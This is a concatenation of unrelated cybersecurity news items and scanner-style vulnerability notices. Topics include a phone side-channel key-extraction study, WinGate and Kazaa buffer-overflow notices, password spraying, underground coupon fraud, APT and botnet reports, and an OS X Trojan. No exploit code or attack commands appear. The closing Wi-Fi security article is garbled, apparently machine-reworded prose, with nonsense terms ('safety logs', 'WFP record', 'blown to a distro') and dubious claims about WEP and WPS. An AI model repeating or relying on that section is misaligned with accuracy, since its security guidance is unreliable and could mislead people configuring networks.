Their paper, presented on September 10 at the 6th IEEE European Symposium on Security and Privacy, demonstrates successful attacks on two different types of low-end Android phones, a ZTE Zfive and an Alcatel Ideal. In accordance with standard practice, the researchers reported their findings to software developers before releasing their results so that the problem can be fixed.
The attack relies on placing a radio sensor within a few centimeters of a device, close enough to detect the weak radio waves that are inadvertently emitted by a phone’s processor. By witnessing a single secure web transaction transmitted in these signals, an attacker can figure out a user’s secret key, a form of numerical password that is used to encrypt their data.
“It demonstrates that a really powerful attack, one that can actually steal the key, can be done under realistic conditions,” said Milos Prvulovic, professor of Computer Science at Georgia Tech and coauthor of the study. “How many times have you put your phone down on a desk at the airport and not checked what’s under the desk?”
Fortunately, the researchers found a relatively straightforward fix. Implementing this fix is currently in progress, and will be important. If researchers can figure out how to make the attack work on high-end phones, then the same vulnerability will occur on billions of the most widely-used modern devices.
Hacking a Phone from the Side
Secret keys or encryption keys are often used for securing user data. Once the attacker has access to a user’s encryption keys, they can forge their “digital signature” and gain access to banking data, for example. Because the newly discovered attack should work on a wide variety of phones in everyday use, it is expected to require prompt amendment to the relevant security standards, RFC 7748.
The attack targets a standard encryption process employed in a wide range of online activities, such as logging into a virtual private network (VPN), creating a secure web connection with a bank, or e-signing a digital document. During this process, two endpoints on a network, such as two phones, must exchange a series of messages to verify each other’s identity. If they cannot verify that they are who they say they are, then they know not to send private data.
Proving one’s identity amounts to carrying out a certain kind of encryption algorithm. This algorithm involves a series of operations on a secret key called a “nonce,” which can be represented as a binary number, a sequence of ones and zeroes or “bits.” For each operation that a phone’s processor carries out, it emits a weak radio signal, thousands of times weaker than the signal of a Wi-Fi transmitter. These signals are called “side-channel” emissions since they do not come from the primary channels that the phone uses to communicate.
Years ago, researchers realized that these side-channel emissions can leak the value of the nonce. For example, an encryption algorithm might require additional processing steps when a bit of the nonce is a one, making the processor emit a longer lasting signal for those bits. By tracking the pattern of longer and shorter emissions that come from the phone while it is processing the nonce, an attacker can reconstruct the value of each of its bits. From there, they can break a user’s encryption.
Other researchers invented a solution for this problem known as a “constant-time” algorithm. This algorithm ensures that a processor carries out the same sequence of operations for each bit. The radio emissions are therefore indistinguishable for each bit and the nonce cannot be reconstructed. This algorithm was codified in encryption standards like RFC 7748 and widely adopted.
Breaking the Constant-Time Algorithm
In the new work, the researchers discovered a problem with the constant-time algorithm. One particular operation that is carried out for each bit, called a “conditional swap,” has a tell-tale trait. When the operation is performed on a bit with the value of one, the processor emits a slightly stronger radio signal. The researchers realized that if an attacker could listen in on the emissions during this operation, each time it occurs, they could determine the nonce.
The hard part was to figure out whether they could focus in on the specific radio signature of the conditional swap, buried within a sequence of many other emissions. Also, because of the high processing speed of modern phones, the radio signature of the conditional swap only lasts for a brief duration. But, it turns out, it is the constant-time algorithm — meant to be a countermeasure to side-channel attacks — which allows the attack to work in the first place.
The key for the researchers was to carefully observe a phone’s emissions. Because of the constant-time algorithm, these emissions are extremely regular. Each time the phone processes a bit, the same general pattern of emissions takes place. The researchers could therefore automate the process of picking out the tiny piece of emissions corresponding to the conditional swap, like learning to spot a small logo on a fast-moving train car by watching enough train cars passing by. From there, the researchers could measure the strength of the emissions to determine whether each bit was a zero or one, and thereby reconstruct the entire nonce.
The attack works so effectively that researchers found they only needed to listen in on a single secure transaction to steal a phone’s secret key.
“As long as somebody can put a probe or antenna close enough,” said Prvulovic, “We can have your key now.”
To fix the issue, the researchers modified the constant-time algorithm so that the signal corresponding to the conditional swap has the same strength regardless of the value of the bit. After developers implement this fix into cryptographic libraries like OpenSSL, the constant-time algorithm should be secure once again. |
The remote HTTP proxy server is prone to a buffer overflow attack.
The remote host appears to be running WinGate Proxy Server, a Windows application for managing and securing Internet access. According to its banner, the version of WinGate installed on the remote host is affected by a buffer overflow vulnerability in its HTTP proxy service. An attacker with access to use the proxy may be able to exploit this issue to execute arbitrary code on the remote host. By default, the service operates with LOCAL SYSTEM privileges, which means that a successful attack may result in a complete compromise of the affected system.
Upgrade to version 6.1.3 or higher. |
In March, Iranian Hackers from the Mabna Institute were charged with launching attacks targeting universities, large US companies, and government agencies, and stealing information including academic research in technology, medicine, and other sciences valued at over $3.4 billion.
The attack targeted more than 100,000 university professors worldwide, and successfully breached the accounts of roughly 8,000 professors at hundreds of US and foreign institutions, including several large Australian universities. The hackers studied each of their targets and sent a specialized e-mail that appeared to come from other university professors expressing interest in recently published work. The e-mails contained what appeared to be links to other research, but were actually links directing the recipients to malicious websites that would mimic a legitimate login page and steal the professors’ login information. Once the accounts were compromised the hackers were able to gain access to sensitive research data.
Attacks were also made against many private sector organizations, state, and federal government agencies. These attacks were less sophisticated as, for these targets, the hackers just deployed a technique called “password spraying”. They collected potential e-mail addresses of employees they could locate online, and then tried commonly used passwords to access the accounts. Spray attacks search for accounts with the easiest passwords (i.e. Password123) and only try a few simple passwords before moving on to the next account. By deploying this method, the attempts do not trigger the account lockout safety features that are typically deployed and enabled the attacks to go undetected for a longer period of time.
These attacks are yet another reminder of how important it is to continue to spread awareness across your organization so that all employees can help protect themselves and your organization. This is a good opportunity to review your organizational password policies for all systems, including e-mail, and ensure they align with current best practices, the PCI DSS requirements, or the latest NIST guidelines. Teach staff to set up strong passwords, implement password security features like maximum attempts, forced changes after 90 days, etc. These simple steps can help protect against a spray attack on your accounts. As hackers continue to target individuals, you may also want to reconsider the benefits of implementing multi-factor authentication (MFA) on any systems that allow access to sensitive information.
Continued awareness training and phishing tests can also help train staff how to identify a phishing email, to be diligent about verifying the URLs of websites before clicking, and reporting suspicious messages to the appropriate authority.
Some additional guidance from our Penetration Testing team below:
[Wallace]: Password spraying continues to be a very effective method for attackers to gain access. For example, the password Spring2018! meets most organizations’ password complexity requirements, but it is a very easy password to guess as an attacker. Even in a smaller organization, how many of your users do you think have this password? Password spraying your own organization can serve as an extremely effective password auditing tool, and identify these weak passwords before attackers do.
[Sullivan]: Users are inundated with so many legitimate and phishing emails on a daily basis that poor security practices are often followed just to keep work flowing. As administrators, it is crucial to implement administrative and technical controls that help make their lives easier. Regularly auditing account permissions and password strength, implementing strong email filters, and routine training can help reduce the burden on your users and bolster your organization’s defenses. |
This script is Copyright (C) 2003-2011 Tenable Network Security, Inc.
The remote peer-to-peer client is prone to a buffer overflow attack.
The remote service seems to be a Kazaa peer-to-peer client.
The FastTrack (FT) network code, as used in Kazaa and possibly other
P2P clients, contains a remotely exploitable flaw in its packet
handling code. Sending a specially crafted packet with a large list
of supernodes may allow execution of arbitrary code.
See also :
Unknown at this time.
Risk factor :
High / CVSS Base Score : 7.5
CVSS Temporal Score : 7.1
Public Exploit Available : true |
by Vladimir Kropotov and Fyodor Yarochkin (Senior Threat Researchers)
The fraudulent redemption of freebies, discounts, and rebates in the form of coupons is reportedly costing U.S. businesses $300–600 million every year. And where there’s money to be made, there are cybercriminals rustling up schemes to take advantage of it. Unsurprisingly, that was the case when it comes to coupon fraud, which we found to be rife and thriving in the underground.
What does coupon fraud mean for businesses? In 2012, major manufacturers were victimized by counterfeit coupons, with one consumer goods corporation pegging its losses to around $1.28 million. Another coupon fraud scheme almost a decade in the making stole at least $250 million from companies.
The real-life costs are beyond claiming unlimited coffee, free car rides and hotel stays, or gadgets at bargain prices. Coupon fraud in the underground has the scalability that results to business process compromise, where the components underpinning business operations are undermined, which in turn significantly affect the bottom line.
Coupon Fraud and Business Process Compromise
The coupon fraud schemes we saw in the underground were diverse. There are, however, ties that bind them—especially when business processes are concerned. Here’s a visualization:
Figure 1: How the combination of cybercriminal underground services and coupon fraud work in compromising the business processes of a typical coupon transaction
Figure 2: A graphical representation of how a normal coupon transaction works for a certain consumer goods vendor (left) and how the processes behind it are abused (right)
Coupon transactions typically entail data changing hands between the consumer, retailer/coupon provider, and a clearing house/agent that sorts and audits the coupons. Intermediaries are also often brought into the equation—an online coupon distributor, for instance, or a media service provider that promotes the coupons on the retailer’s behalf.
Indeed, there are many channels through which data travels—and it only takes one vulnerable layer to affect the whole supply chain. The underground has products and services specifically created to do that: brute-forcing coupon and promo codes by stealing or cracking their algorithms and exploiting vulnerabilities in code verification. Case in point: a researcher was able to exploit a “race condition” (where software relies on the sequence/timing of processes) in the web application that processes Starbucks gift cards. The result? Unlimited coffee.
Region or market-specific coupon/voucher codes were also abused. A purveyor in one of the forums we saw sold promo codes purportedly from a telecommunications company that gave its employees discounts on mobile voice, SMS, and internet data tariffs. Another attack chain involved misusing corporate rates hotels give to their client’s employees in the form of codes keyed in during the booking’s verification process.
That’s just the tip of the iceberg. Many of the products and services we saw in the underground involve the automation of fraud—scalable enough to drive an economy of fake or misused coupons/promo codes. It’s also worth noting that the prices we saw in underground marketplaces are often 3-10 times cheaper than their legitimate/original counterparts. Here are some of the notable schemes we saw peddled in the underground:
Brute-forcing codes and exploiting vulnerabilities. Software for checking and brute-forcing coupon codes are sold in the underground. There are even video manuals (uploaded to social media channels), including how to crack the promo codes of a certain ride-sharing service. Coupons come with secret codes “randomly” computed by the business/retailer. If an attacker can figure out how to pre-compute or brute-force these codes, the vendor loses control of these coupons. In theory, a properly generated random code is hard to predetermine. It’s a different matter in practice. Vulnerabilities in the web application that generates or verifies the codes, for instance, can have a hand in enabling a hacker to know the codes.
Coupons as a service. Coupons—counterfeit or not—are further monetized by selling them to fellow fraudsters. There are also coupon generators, which also misuse online check digit calculators, enabling scammers to create purportedly valid coupon codes. Of note is a coupon generator for a vendor that uses crowdsourcing to promote content to social media.
Abusing “new customer” or registration promos. We also found “new accounts” peddled in the underground, which can be sold by bulk. These accounts take advantage of the perks or other free offers given by retailers upon account registration. There’s also a forum post we saw providing instructions on how to misuse a newly registered Google Cloud Platform account, and make it part of a cryptocurrency-mining pool.
Reselling coupons or serving as an affiliate. Coupons serve as an alternative currency to fellow fraudsters, and are resold to proxify/anonymize the service itself. Some also sell the physical goods redeemed through coupons. Others resort to pyramid schemes and affiliate marketing, where scammers use social engineering to entice and incentivize would-be fraudsters.
Figure 6: A buy and sell forum for AliExpress coupons
Figure 7: Dark web advertisements for 25% discount on items in M.video (an electronic retail chain), as well as QIWI e-wallets, and prepaid cash cards with balances
Coupons help companies bring in more business while maintaining the visibility of their products and services. But while getting new customers is a good thing, businesses should be more prudent—especially against those who don’t play by the rules to score freebies and discounts.
In March, for instance, an American household item manufacturer and distributor fell to coupon fraud when the barcodes in their coupons, while having a “Do Not Double” disclaimer, weren’t set to expire. It let abusers repeatedly cash in the coupon.
What can businesses do? Put safeguards in place. Limit the reuse, distribution, and timeframe of coupon codes. Personalize coupons: anti-counterfeit techniques like using more complex data codes, microprinting, watermarking, and code authentication and verification help deter scammers from duplicating codes. Set the codes to expire after use at the point of sale, for instance. Work proactively with distributors, stakeholders, and law enforcement in reviewing, fine-tuning, and enforcing stronger fraud resistance/risk management policies in coupon programs. The non-profit Coupon Information Corporation, for instance, helps retailers and manufacturers combat coupon fraud. But more importantly, ensure the privacy, security, and integrity of the gateways, endpoints, networks, servers, and other infrastructures that manage the company’s business processes. |
Organizations in Ukraine, Southeast Asia, and East Asia have been targeted by newly identified Chinese advanced persistent threat group Earth Longzhi through custom Cobalt Strike loaders since at least 2020, reports BleepingComputer.
Between May 2020 and February 2021, Earth Longzhi compromised numerous Taiwanese critical infrastructure firms, a Taiwanese government organization, and a Chinese bank through Symatic, a custom Cobalt Strike loader that features API hook removal, new process injection spawning and obfuscation, and decrypted payload injection capabilities, according to a Trend Micro report. Different public tools have been consolidated by Earth Longzhi in the hacking tool it used in the campaign.
Meanwhile, Thailand- and Taiwan-based aviation companies, as well as Philippine-based insurance and urban development entities have been targeted by the second Earth Longzhi campaign between August 2021 and June 2022, which involved the utilization of new custom loaders with multi-threading functionality that leverage decoy documents for increased efficacy.
Execution of Cobalt Strike is then followed by utilization of a custom Mimikatz version while exploits for PrintSpoofer and PrintNightmare are used to enable escalation of privileges.
Earth Longzhi has been found to resemble Earth Baku, another subgroup of state-sponsored threat operation APT41.
Ukraine has been targeted by Russian threat actors in the new Operation Texontodisinformation campaign that also involved spear-phishing and credential exfiltration tactics, according to The Hacker News.
Record high ransomware and data extortion incidents experienced by Western nations last year have prompted former National Security Agency Director Michael Rogers to call for a reevaluation of their cybersecurity defense strategy. |
Once you have admin access to a router, you have complete access to the WAN and LAN of that network. This is one reason that enterprise networks are (should be) segregated into multiple networks separated by firewalls. In that situation, all you would have gained access to is probably the "DMZ" or outer zone network.
With such a foothold, you can open up inbound and outbound ports, install monitoring on the router itself and use the router as a platform for attacking other systems further into the network.
Any enterprise router should have monitoring already installed to help identify this kind of attack, reporting it upwards to admins and the SIEM. A common scenario is for the SIEM to aggregate logs from routers to monitor for anomalies. |
Lemon Duck Cryptocurrency-Mining Botnet Activity Spikes
Researchers have been monitoring a spike in the cryptocurrency mining botnet Lemon Duck, occurring since this August. The Lemon Duck botnet is a complex mining botnet that has the capability to tap into victims’ computer resources and mine the Monero virtual currency. Researchers warn that although the botnet has been active since December 2018, it has increased its toolkit and continues to elevate its operations. An onslaught of attacks utilizing the botnet has been observed targeting Iran, Egypt, India, Phillippines, and Vietnam.
Cybersecurity research firm Cisco Talos has identified activity associated with the cryptocurrency botnet, stating that it is affecting different companies within sectors such as the government, retail, and technology. The most recent attacks documented utilizing the Lemon Duck malware include modules loaded by the main PowerShell component and a module spreading through email phishing campaigns with COVID-19 headlines. |
Though Macs aren’t exactly less vulnerable to viruses as Windows computers, they’ve always experienced less — mostly because there were a lot less people using Macs, thus a lot less people making viruses to infect them. Not too long ago, news broke that a malicious OS X virus spread around the digital tubes, infecting over half a million computers. Now, only a little over a week later, we get news that another OSX Trojan is circulating around our digital domain.
Costin Raiu, Kaspersky Lab security researcher, has identified the new Trojan. Called Backdoor.OSX.SabPub.a — with the more user-friendly name SabPub — the new Trojan connects to a remote website via Java exploits, with the intention of allowing a remote party to execute commands on the infected machine.
The Flashback exploit, from which some users may still be reeling, also used a Java exploit, but in that case with the end goal of stealing passwords and information.
Interestingly, Raiu notes that there are at least two SabPub variants out in the wild, one of which is as old as February, though somewhat luckily, SabPub seems to be delivered via targeted attacks, which lessens the possibility of a user contracting it. Raiu also notes that the second variant of SabPub appears to have been extracted, contracted, or distributed through Microsoft Word, as it is named “8958.doc” in their virus collection.
So — as always — regardless of what machine you’re using, be mindful of the files you accept, where you get them from, and what exactly you’re clicking when an annoying box pops up in the middle of your browsing experience and you really, really want it to go away.
- OS X got its very own malicious fake antivirus program
- Mac botnet has over half a million infected computers
- But then apple released a removal tool, thankfully
Have a tip we should know? [email protected] |
Wep WapDeep wap
To understand the distinctions between the different safety protocol and to implement the most sophisticated protocol that your wireless device can handle (or upgrade if it doesn't meet the latest general safety standards) is the distinction between providing simple home networking and providing simple home networking to you. Wi-Fi safety logs have been updated several times since the end of the 90s, with older logs completely obsolete and the logs fundamentally revised.
Walking through the story of Wi-Fi safety helps to show both what there is right now and why you should try to stay away from older wireless safety practices. Wi-Fi Wired Equivalent Privacy (WEP) is the most widely used Wi-Fi network protection scheme in the industry. It is a feature of aging, backward compatible and the fact that in many routing controls it will appear first in the log selectmenu.
The WEP was rated as a Wi-Fi safety Wi-Fi in September 1999. WEP's first releases were not particularly robust at the point of release, as US limitations on the exporting of various cryptographic technologies meant that vendors limited their equipment to only 64-bit cipher. In spite of amendments to the WFP record and an increase in scale, a number of safety deficiencies in the WFP standards have been identified over the years.
WEP-based architectures should be updated or, if safety updates are not possible, should be superseded. In 2004, the Wi-Fi Alliance formally adopted WEP into retirement. The Wi-Fi Protected Acces ( "WPA") was the Wi-Fi Alliance's immediate answer and substitution to the ever more obvious weaknesses of the WEPs. Significant changes that have been made with WPA include the use of messaging health checking (to see if an attacker has collected or modified packages forwarded between the point of entry and the client) and the Temporal Key Integrity Protocol (TKIP).
The TKIP uses a packaged system of keys that was much more reliable than the WEP system of keys. TKIP was later replaced by the Advanced Encryption Standards (AES). It is interesting to note that the typical WPA violation is not a straight forward WPA log violation (although such violations have been successfully detected), but rather an attempt at a complementary system deployed with WPA Wi-Fi Protected Setup (WPS) - specifically engineered to make it simple to connect equipment to today's wireless APs.
Some of the most important changes between WPA and WPA2 are the obligatory use of AES algorithm and the implementation of CCMP (Counter Cipher Mode with Block Chaining Message Authentication Code Protocol) as a substitute for TKIP. Currently, the main flaw for the WPA2 system itself is an arcane one (and requiring that the aggressor already has Wi-Fi secure networking in order to get certain keys and then continue an assault on other equipment on the network).
Therefore, the impact of known WPA2 weaknesses on protection is almost exclusively confined to corporate networking and deserves little or no attention in terms of home networking protection. Unfortunately, the same weakness that is the largest gap in WPA armour - the Wi-Fi Protected Setup (WPS) attacking waveform - remains in today's WPA2-enabled workstations.
Even though a break-in into a WPA/WPA2-protected ethernet with this flaw takes 2-14 hrs of prolonged efforts with a state-of-the-art computer, it is still a valid compromise. The WPS should be deactivated and, if possible, the WPS should be blown to a distro that does not even allow WPS, so that the attacker is completely stripped.
Wii-Fi safety history purchased; what now? This is where you feel either a little complacent (because you're confident using the best safety protocols available for your Wi-Fi point ) or a little anxious ( because you chose WEP because it was at the top of the ranking). And before we surprise you with a more detailed listing of our top Wi-Fi safety products, here's the dash course.
Here is a baseline listing of the latest Wi-Fi safety techniques available on any advanced (post-2006) wireless device, sorted by the best and worst: best of all, turn off the Wi-Fi Protected Setup (WPS) and tune your wireless device to WPA2 + AES. As soon as you get to WEP, your safety levels are as low, it's about as efficient as a track linked picket rail - the rail just existed to say, "Hey, that's my property," but anyone who actually wanted to get in could just go right over it.
We have Wi-Fi security: Equipped with a fundamental grasp of how Wi-Fi safety works and how to further improve and update your home networking point of entry, you'll look good with a now safe Wi-Fi workstation. |
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